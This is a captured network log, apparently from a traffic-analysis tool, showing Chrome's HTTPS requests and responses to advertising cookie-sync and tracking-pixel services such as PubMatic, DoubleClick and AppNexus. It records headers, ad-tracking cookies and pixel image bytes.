2024-04-11 21:27:07 UTC	909	OUT	GET /cookie-sync?gdpr=0&bee_sync_partners=syn%2Csas%2Cpm&bee_sync_current_partner=pp&bee_sync_initiator=adx&bee_sync_hop_count=2&ev=AAJYL07MMKsAABPuRNcLSw&pid=558502&do=add&gdpr=0 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: bito=AAJYL07MMKsAABPuRNcLSw; bitoIsSecure=ok
2024-04-11 21:27:07 UTC	600	IN	HTTP/1.1 303 See Other Date: Thu, 11 Apr 2024 21:27:07 GMT location: https://sync.technoratimedia.com/services?uid=AAJYL07MMKsAABPuRNcLSw&srv=cs&pid=73&cb=https%3A%2F%2Fmatch.prod.bidr.io%2Fcookie-sync%3Fgdpr%3D0%26gdpr%3D0%26bee_sync_partners%3Dsas%252Cpm%26bee_sync_current_partner%3Dsyn%26bee_sync_initiator%3Dadx%26bee_sync_hop_count%3D3&gdpr=0 Server: gunicorn set-cookie: bito=AAJYL07MMKsAABPuRNcLSw; Domain=bidr.io; expires=Sun, 11 May 2025 17:27:07 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.17	50457	34.36.216.150	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	783	OUT	GET /dmp/pixelSync?cookieQ=1&nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ssuma=eyI0OCI6MTcxMjg3MDgyNTkwNCwiMzkiOjE3MTI4NzA4MjU5MDQsIjciOjE3MTI4NzA4MjU5MDR9; ssi=d2fb62d0-6f43-4efe-8ace-b1ca0f8e51d2#1712870825972
2024-04-11 21:27:07 UTC	915	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=d2fb62d0-6f43-4efe-8ace-b1ca0f8e51d2#1712870825972; Domain=.sitescout.com; Expires=Fri, 11-Apr-2025 21:27:07 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyI0NSI6MTcxMjg3MDgyNzIxNywiNDgiOjE3MTI4NzA4MjU5MDQsIjM5IjoxNzEyODcwODI1OTA0LCI3IjoxNzEyODcwODI1OTA0fQ; Domain=.sitescout.com; Expires=Sat, 11-May-2024 21:27:07 GMT; Path=/; Secure; SameSite=None location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=d2fb62d0-6f43-4efe-8ace-b1ca0f8e51d2-661855a9-5553&gdpr=0&gdpr_consent= Content-Length: 0 date: Thu, 11 Apr 2024 21:27:06 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.17	50435	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	1973	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3MzkmdGw9MTI5NjAw&piggybackCookie=1992631731613135717 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; pi=0:4; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823
2024-04-11 21:27:07 UTC	583	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_18=22947-1992631731613135717; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:05 GMT; path=/ Set-Cookie: PugT=1712870825; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:05 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:07 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.17	50430	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	2143	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMwNzQmdGw9MTI5NjAw&piggybackCookie=uid:rQ8OKBkf1RV1WN5&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; KRTBCOOKIE_1278=23329-239cb25a-cfc7-4eef-9e77-08cbf9cb201b&KRTB&23340-239cb25a-cfc7-4eef-9e77-08cbf9cb201b&KRTB&23498-239cb25a-cfc7-4eef-9e77-08cbf9cb201b; PugT=1712870825
2024-04-11 21:27:07 UTC	614	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_107=1471-uid:rQ8OKBkf1RV1WN5&KRTB&23421-uid:rQ8OKBkf1RV1WN5; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:05 GMT; path=/ Set-Cookie: PugT=1712870825; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:05 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:07 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.17	50456	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	455	OUT	GET /ecm3?id=LUVR2A3B-N-5ZEP&ex=d-rubiconproject.com&status=ok HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:07 UTC	431	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: YAA5HT0CD4GYBR01FAJV Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-11 21:27:07 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.17	50382	35.162.61.240	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	1211	OUT	GET /usersync/redirect?partner=rubicon&partnerId=LUVR2A0D-T-GE30 HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:07 UTC	239	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Cache-Control: private, no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.17	50450	104.36.113.111	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	1782	OUT	GET /AdServer/SPug?partnerID=157108&gdpr=0&gdpr_consent=&us_privacy=1--- HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; KRTBCOOKIE_80=22987-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23025-CAESENQ6H1ciB1fBhQrozbvvrnY&KRTB&23386-CAESENQ6H1ciB1fBhQrozbvvrnY; KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; KRTBCOOKIE_148=19421-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23486-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23489-uid:FF4FA33AD55F4AFDAF353CD71FB72BED&KRTB&23539-uid:FF4FA33AD55F4AFDAF353CD71FB72BED; KRTBCOOKIE_1003=22761-3c48d748-f84a-11ee-8242-bd2b605e64cf&KRTB&23275-3c48d748-f84a-11ee-8242-bd2b605e64cf; KRTBCOOKIE_377=6810-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22918-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&22926-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19&KRTB&23031-84e8c935-ec1e-4ee4-a8f4-2cb7cae3aa19; KRTBCOOKIE_279=22890-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23011-d3c52a71-4626-42f8-b765-7c4caff9dd34&KRTB&23355-d3c52a71-4626-42f8-b765-7c4caff9dd34; chkChromeAb67Sec=2; SPugT=1712870823; pi=0:4; DPSync3=1714003200%3A261_260_259_201_263_262%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713657600%3A63%7C1714003200%3A48_233_71_220_13_54_231_22_178_8_104_5_55_250_21_166_3_165%7C1713398400%3A15_2_223; PugT=1712870823
2024-04-11 21:27:07 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:06 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1712870826; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:06 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.17	50438	52.7.152.165	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	648	OUT	GET /sync?pid=187&uid=25F9549E-136A-47E9-9171-DA44C0E0D5E3&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.bfmio.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:07 UTC	420	IN	HTTP/1.1 204 Date: Thu, 11 Apr 2024 21:27:06 GMT Set-Cookie: __187_cid=25F9549E-136A-47E9-9171-DA44C0E0D5E3; Domain=.bfmio.com; Max-Age=31536000; Expires=Fri, 11-Apr-2025 17:27:07 GMT-0400; Path=/; SameSite=None; Secure Set-Cookie: __io_cid=9171e37e1e7e4010284d7ce2ea233429ff6fd8cc; Domain=.bfmio.com; Max-Age=31536000; Expires=Fri, 11-Apr-2025 17:27:07 GMT-0400; Path=/; SameSite=None; Secure Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.17	50442	142.250.80.66	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	611	OUT	GET /pixel?google_nid=rubicon&google_hm=MGY1Nzc4ZDk5NDU1NDY3NDE2MDVmZDAzMDQzNzRlNjRlYTg1ODJlMQ HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
2024-04-11 21:27:07 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 11 Apr 2024 21:27:07 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:07 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.17	50432	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	733	OUT	GET /pixel?google_nid=lijit_dbm&google_hm=SWViSEFMWkh3cEQ1Vk5LeFJYYXZTSGlM&gdpr=0 HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUnKTao8RJNkre_DilFL_eNpJEN6oSgYP12FeM51cAOqXnzsiO_HwKK3PwdFhxI
2024-04-11 21:27:07 UTC	374	IN	HTTP/1.1 200 OK Content-Type: image/png Date: Thu, 11 Apr 2024 21:27:07 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Server: HTTP server (unknown) Content-Length: 170 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:07 UTC	170	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 d7 05 1d 0d 0d 2d 51 d5 37 6e 00 00 00 1d 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 54 68 65 20 47 49 4d 50 ef 64 25 6e 00 00 00 0d 49 44 41 54 08 d7 63 a8 69 79 e5 00 00 05 95 02 2b 03 a2 de f7 00 00 00 00 49 45 4e 44 ae 42 60 82 0a Data Ascii: PNGIHDRbKGDpHYstIME-Q7ntEXtCommentCreated with The GIMPd%nIDATciy+IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.17	50446	68.67.179.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:07 UTC	813	OUT	GET /prebid/setuid?bidder=rubicon&uid=LUVR2A3B-N-5ZEP HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; XANDR_PANID=0LPhMhV4mNZIVH4yadR3w_7eHSzgx6thgqwxzJWE93ti0O1a040sXN70sT4qdZ96NyHUE82Lwk_pfdKLUxfl-l9wrACwU2TsHl48TqwRzi8.; uuid2=4283912458326592098
2024-04-11 21:27:07 UTC	1788	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Thu, 11 Apr 2024 21:27:07 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 175680ea-6809-4e7f-91cf-393e096e3c34 Set-Cookie: XANDR_PANID=0LPhMhV4mNZIVH4yadR3w_7eHSzgx6thgqwxzJWE93ti0O1a040sXN70sT4qdZ96NyHUE82Lwk_pfdKLUxfl-l9wrACwU2TsHl48TqwRzi8.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:07 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40DF7/.XF']wIg2E?jl:f=f!]tbP6j2F-.aDyjByG0>mc>96fR5hb<d9gn4x1`DD1nkC+v_HUQEVk`!''PWQ$`QY; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:07 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 30-Mar-2034 21:27:07 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxVVlIyQTNCLU4tNVpFUCIsImV4cGlyZXMiOiIyMDI0LTA3LTEwVDIxOjI3OjA3WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA0LTExVDIxOjI3OjA3WiJ9; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:07 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uuid2=4283912458326592098; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 10-Jul-2024 21:27:07 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 156.146.36.197; 156.146.36.197; 585.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
